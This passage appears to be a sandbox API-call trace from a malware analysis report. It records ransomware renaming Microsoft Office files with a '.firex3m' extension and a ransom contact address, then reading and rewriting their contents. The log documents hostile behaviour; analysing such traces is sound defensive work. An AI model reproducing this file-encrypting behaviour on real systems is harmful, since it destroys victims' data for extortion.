16\\Theme Fonts\\Tw Cen MT-Rockwell.xml" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme fonts\\tw cen mt-rockwell.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Fonts\\Tw Cen MT-Rockwell.xml.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme fonts\\tw cen mt-rockwell.xml.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0138.214] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x3e3ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0138.214] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Fonts\\Tw Cen MT-Rockwell.xml.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x3e3fc6c | out: lpFindFileData=0x3e3fc6c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x1151b8e4, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1151b8e4, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x11567da2, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xe9e, dwReserved0=0x2000002, dwReserved1=0x640075, cFileName="Tw Cen MT-Rockwell.xml.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="TWCENM~2.FIR")) returned 0x6d5200 [0138.215] FindClose (in: hFindFile=0x6d5200 | out: hFindFile=0x6d5200) returned 1 [0138.215] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Fonts\\Tw Cen MT-Rockwell.xml.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme fonts\\tw cen mt-rockwell.xml.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x67c [0138.215] GetProcessHeap () returned 0x630000 [0138.215] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xea1) returned 0x6f1c300 [0138.215] GetProcessHeap () returned 0x630000 [0138.215] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xea1) returned 0x723c8f0 [0138.216] SetFilePointerEx (in: hFile=0x67c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0138.216] ReadFile (in: hFile=0x67c, lpBuffer=0x6f1c300, nNumberOfBytesToRead=0xe80, lpNumberOfBytesRead=0x3e3ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6f1c300*, lpNumberOfBytesRead=0x3e3ff0c*=0xe80, lpOverlapped=0x0) returned 1 [0138.231] GetProcessHeap () returned 0x630000 [0138.231] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x73173d8 [0138.231] SetFilePointerEx (in: hFile=0x67c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0138.231] WriteFile (in: hFile=0x67c, lpBuffer=0x723c8f0*, nNumberOfBytesToWrite=0xe80, lpNumberOfBytesWritten=0x3e3ff0c, lpOverlapped=0x0 | out: lpBuffer=0x723c8f0*, lpNumberOfBytesWritten=0x3e3ff0c*=0xe80, lpOverlapped=0x0) returned 1 [0138.231] SetFilePointerEx (in: hFile=0x67c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0138.231] WriteFile (in: hFile=0x67c, lpBuffer=0x723d76f*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x3e3ff0c, lpOverlapped=0x0 | out: lpBuffer=0x723d76f*, lpNumberOfBytesWritten=0x3e3ff0c*=0x20, lpOverlapped=0x0) returned 1 [0138.231] SetFilePointerEx (in: hFile=0x67c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0138.231] WriteFile (in: hFile=0x67c, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x3e3ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x3e3ff0c*=0x4, lpOverlapped=0x0) returned 1 [0138.232] CloseHandle (hObject=0x67c) returned 1 [0138.233] GetProcessHeap () returned 0x630000 [0138.233] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x723c8f0 | out: hHeap=0x630000) returned 1 [0138.233] GetProcessHeap () returned 0x630000 [0138.233] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6f1c300 | out: hHeap=0x630000) returned 1 [0138.233] GetProcessHeap () returned 0x630000 [0138.233] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x73173d8 | out: hHeap=0x630000) returned 1 [0138.233] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x3e3ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0138.233] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Fonts\\Tw Cen MT-Rockwell.xml.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x3e3fcc4 | out: lpFindFileData=0x3e3fcc4*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x1151b8e4, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1151b8e4, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1856ce36, ftLastWriteTime.dwHighDateTime=0x1d5e217, nFileSizeHigh=0x0, nFileSizeLow=0xec2, dwReserved0=0xccc7496, dwReserved1=0x6f1c2f8, cFileName="Tw Cen MT-Rockwell.xml.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="TWCENM~2.FIR")) returned 0x6d5400 [0138.233] FindClose (in: hFindFile=0x6d5400 | out: hFindFile=0x6d5400) returned 1 [0138.233] Sleep (dwMilliseconds=0x1) [0138.238] SysReAllocStringLen (in: pbstr=0x3e3ff7c*=0x0, psz="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Fonts\\Times New Roman-Arial.xml", len=0x5f | out: pbstr=0x3e3ff7c*="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Fonts\\Times New Roman-Arial.xml") returned 1 [0138.238] GetProcessHeap () returned 0x630000 [0138.238] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x72b0508, Size=0x1a70) returned 0x72b0508 [0138.239] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Fonts\\Times New Roman-Arial.xml" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme fonts\\times new roman-arial.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x698 [0138.239] CloseHandle (hObject=0x698) returned 1 [0138.239] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x3e3ef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0138.239] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Fonts\\Times New Roman-Arial.xml" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme fonts\\times new roman-arial.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Fonts\\Times New Roman-Arial.xml.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme fonts\\times new roman-arial.xml.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0138.240] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x3e3ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0138.240] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Fonts\\Times New Roman-Arial.xml.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x3e3fc6c | out: lpFindFileData=0x3e3fc6c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x114a91d5, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x114a91d5, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x114a91d5, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xde1, dwReserved0=0x5000005, dwReserved1=0x650040, cFileName="Times New Roman-Arial.xml.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="TIMESN~1.FIR")) returned 0x6d4e40 [0138.240] FindClose (in: hFindFile=0x6d4e40 | out: hFindFile=0x6d4e40) returned 1 [0138.240] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Fonts\\Times New Roman-Arial.xml.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme fonts\\times new roman-arial.xml.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x698 [0138.240] GetProcessHeap () returned 0x630000 [0138.240] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xe01) returned 0x7205a88 [0138.240] GetProcessHeap () returned 0x630000 [0138.240] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xe01) returned 0x7282cb8 [0138.241] SetFilePointerEx (in: hFile=0x698, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0138.241] ReadFile (in: hFile=0x698, lpBuffer=0x7205a88, nNumberOfBytesToRead=0xde0, lpNumberOfBytesRead=0x3e3ff0c, lpOverlapped=0x0 | out: lpBuffer=0x7205a88*, lpNumberOfBytesRead=0x3e3ff0c*=0xde0, lpOverlapped=0x0) returned 1 [0138.265] GetProcessHeap () returned 0x630000 [0138.265] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x73171a8 [0138.265] SetFilePointerEx (in: hFile=0x698, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0138.265] WriteFile (in: hFile=0x698, lpBuffer=0x7282cb8*, nNumberOfBytesToWrite=0xde0, lpNumberOfBytesWritten=0x3e3ff0c, lpOverlapped=0x0 | out: lpBuffer=0x7282cb8*, lpNumberOfBytesWritten=0x3e3ff0c*=0xde0, lpOverlapped=0x0) returned 1 [0138.266] SetFilePointerEx (in: hFile=0x698, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0138.266] WriteFile (in: hFile=0x698, lpBuffer=0x7283a97*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x3e3ff0c, lpOverlapped=0x0 | out: lpBuffer=0x7283a97*, lpNumberOfBytesWritten=0x3e3ff0c*=0x20, lpOverlapped=0x0) returned 1 [0138.266] SetFilePointerEx (in: hFile=0x698, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0138.266] WriteFile (in: hFile=0x698, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x3e3ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x3e3ff0c*=0x4, lpOverlapped=0x0) returned 1 [0138.266] CloseHandle (hObject=0x698) returned 1 [0138.267] GetProcessHeap () returned 0x630000 [0138.267] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x7282cb8 | out: hHeap=0x630000) returned 1 [0138.267] GetProcessHeap () returned 0x630000 [0138.267] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x7205a88 | out: hHeap=0x630000) returned 1 [0138.267] GetProcessHeap () returned 0x630000 [0138.267] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x73171a8 | out: hHeap=0x630000) returned 1 [0138.267] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x3e3ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0138.267] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Fonts\\Times New Roman-Arial.xml.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x3e3fcc4 | out: lpFindFileData=0x3e3fcc4*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x114a91d5, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x114a91d5, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x185b94eb, ftLastWriteTime.dwHighDateTime=0x1d5e217, nFileSizeHigh=0x0, nFileSizeLow=0xe05, dwReserved0=0xccc7496, dwReserved1=0x7205a80, cFileName="Times New Roman-Arial.xml.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="TIMESN~1.FIR")) returned 0x6d5200 [0138.267] FindClose (in: hFindFile=0x6d5200 | out: hFindFile=0x6d5200) returned 1 [0138.267] Sleep (dwMilliseconds=0x1) [0139.849] SysReAllocStringLen (in: pbstr=0x3e3ff7c*=0x0, psz="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_OEM_Perp-ppd.xrm-ms", len=0x52 | out: pbstr=0x3e3ff7c*="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_OEM_Perp-ppd.xrm-ms") returned 1 [0139.849] GetProcessHeap () returned 0x630000 [0139.849] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x7203db8, Size=0x1c74) returned 0x7203db8 [0139.850] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_OEM_Perp-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homestudentr_oem_perp-ppd.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x688 [0142.318] CloseHandle (hObject=0x688) returned 1 [0142.320] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x3e3ef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0142.321] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_OEM_Perp-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homestudentr_oem_perp-ppd.xrm-ms"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_OEM_Perp-ppd.xrm-ms.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homestudentr_oem_perp-ppd.xrm-ms.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0143.811] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x3e3ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0143.811] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_OEM_Perp-ppd.xrm-ms.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x3e3fc6c | out: lpFindFileData=0x3e3fc6c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xe498c694, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xe498c694, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xe4a4b257, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x5466, dwReserved0=0x690066, dwReserved1=0x650072, cFileName="HomeStudentR_OEM_Perp-ppd.xrm-ms.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="HO8214~1.FIR")) returned 0x6d54c0 [0143.811] FindClose (in: hFindFile=0x6d54c0 | out: hFindFile=0x6d54c0) returned 1 [0143.811] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_OEM_Perp-ppd.xrm-ms.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homestudentr_oem_perp-ppd.xrm-ms.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x688 [0143.812] GetProcessHeap () returned 0x630000 [0143.812] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x5481) returned 0x724d850 [0143.812] GetProcessHeap () returned 0x630000 [0143.812] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x5481) returned 0x7252ce0 [0143.812] SetFilePointerEx (in: hFile=0x688, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0143.812] ReadFile (in: hFile=0x688, lpBuffer=0x724d850, nNumberOfBytesToRead=0x5460, lpNumberOfBytesRead=0x3e3ff0c, lpOverlapped=0x0 | out: lpBuffer=0x724d850*, lpNumberOfBytesRead=0x3e3ff0c*=0x5460, lpOverlapped=0x0) returned 1 [0145.342] GetProcessHeap () returned 0x630000 [0145.342] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x71771a0 [0145.342] SetFilePointerEx (in: hFile=0x688, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0145.342] WriteFile (in: hFile=0x688, lpBuffer=0x7252ce0*, nNumberOfBytesToWrite=0x5460, lpNumberOfBytesWritten=0x3e3ff0c, lpOverlapped=0x0 | out: lpBuffer=0x7252ce0*, lpNumberOfBytesWritten=0x3e3ff0c*=0x5460, lpOverlapped=0x0) returned 1 [0145.903] SetFilePointerEx (in: hFile=0x688, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0145.903] WriteFile (in: hFile=0x688, lpBuffer=0x725813f*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x3e3ff0c, lpOverlapped=0x0 | out: lpBuffer=0x725813f*, lpNumberOfBytesWritten=0x3e3ff0c*=0x20, lpOverlapped=0x0) returned 1 [0145.909] SetFilePointerEx (in: hFile=0x688, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0145.909] WriteFile (in: hFile=0x688, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x3e3ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x3e3ff0c*=0x4, lpOverlapped=0x0) returned 1 [0145.909] CloseHandle (hObject=0x688) returned 1 [0145.910] GetProcessHeap () returned 0x630000 [0145.910] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x7252ce0 | out: hHeap=0x630000) returned 1 [0145.910] GetProcessHeap () returned 0x630000 [0145.910] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x724d850 | out: hHeap=0x630000) returned 1 [0145.910] GetProcessHeap () returned 0x630000 [0145.910] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x71771a0 | out: hHeap=0x630000) returned 1 [0145.910] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x3e3ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0145.910] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_OEM_Perp-ppd.xrm-ms.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x3e3fcc4 | out: lpFindFileData=0x3e3fcc4*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xe498c694, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xe498c694, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x1ceaa517, ftLastWriteTime.dwHighDateTime=0x1d5e217, nFileSizeHigh=0x0, nFileSizeLow=0x548a, dwReserved0=0xccc7496, dwReserved1=0x724d848, cFileName="HomeStudentR_OEM_Perp-ppd.xrm-ms.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="HO8214~1.FIR")) returned 0x6d5340 [0145.910] FindClose (in: hFindFile=0x6d5340 | out: hFindFile=0x6d5340) returned 1 [0145.910] Sleep (dwMilliseconds=0x1) [0146.014] SysReAllocStringLen (in: pbstr=0x3e3ff7c*=0x0, psz="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\POWERPNT_K_COL.HXK", len=0x47 | out: pbstr=0x3e3ff7c*="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\POWERPNT_K_COL.HXK") returned 1 [0146.014] GetProcessHeap () returned 0x630000 [0146.014] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x71f7c78, Size=0x2790) returned 0x71f7c78 [0146.014] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\POWERPNT_K_COL.HXK" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\powerpnt_k_col.hxk"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4b8 [0146.845] CloseHandle (hObject=0x4b8) returned 1 [0146.845] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x3e3ef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0146.845] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\POWERPNT_K_COL.HXK" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\powerpnt_k_col.hxk"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\POWERPNT_K_COL.HXK.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\powerpnt_k_col.hxk.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0146.845] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x3e3ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0146.846] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\POWERPNT_K_COL.HXK.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x3e3fc6c | out: lpFindFileData=0x3e3fc6c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xa3dba42, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xa3dba42, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xa3dba42, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x71, dwReserved0=0x0, dwReserved1=0x0, cFileName="POWERPNT_K_COL.HXK.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="PO3868~1.FIR")) returned 0x6d5440 [0146.846] FindClose (in: hFindFile=0x6d5440 | out: hFindFile=0x6d5440) returned 1 [0146.846] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\POWERPNT_K_COL.HXK.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\powerpnt_k_col.hxk.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4b8 [0146.846] GetProcessHeap () returned 0x630000 [0146.846] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x81) returned 0x6a47d8 [0146.846] GetProcessHeap () returned 0x630000 [0146.846] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x81) returned 0x6a4868 [0146.846] SetFilePointerEx (in: hFile=0x4b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0146.846] ReadFile (in: hFile=0x4b8, lpBuffer=0x6a47d8, nNumberOfBytesToRead=0x60, lpNumberOfBytesRead=0x3e3ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6a47d8*, lpNumberOfBytesRead=0x3e3ff0c*=0x60, lpOverlapped=0x0) returned 1 [0146.847] GetProcessHeap () returned 0x630000 [0146.847] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x6feeeb8 [0146.847] SetFilePointerEx (in: hFile=0x4b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0146.847] WriteFile (in: hFile=0x4b8, lpBuffer=0x6a4868*, nNumberOfBytesToWrite=0x60, lpNumberOfBytesWritten=0x3e3ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6a4868*, lpNumberOfBytesWritten=0x3e3ff0c*=0x60, lpOverlapped=0x0) returned 1 [0146.848] SetFilePointerEx (in: hFile=0x4b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0146.848] WriteFile (in: hFile=0x4b8, lpBuffer=0x6a48c7*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x3e3ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6a48c7*, lpNumberOfBytesWritten=0x3e3ff0c*=0x20, lpOverlapped=0x0) returned 1 [0146.848] SetFilePointerEx (in: hFile=0x4b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0146.848] WriteFile (in: hFile=0x4b8, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x3e3ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x3e3ff0c*=0x4, lpOverlapped=0x0) returned 1 [0146.848] CloseHandle (hObject=0x4b8) returned 1 [0146.848] GetProcessHeap () returned 0x630000 [0146.848] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6a4868 | out: hHeap=0x630000) returned 1 [0146.848] GetProcessHeap () returned 0x630000 [0146.848] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6a47d8 | out: hHeap=0x630000) returned 1 [0146.848] GetProcessHeap () returned 0x630000 [0146.848] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6feeeb8 | out: hHeap=0x630000) returned 1 [0146.848] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x3e3ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0146.848] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\POWERPNT_K_COL.HXK.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x3e3fcc4 | out: lpFindFileData=0x3e3fcc4*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xa3dba42, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xa3dba42, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1d79b256, 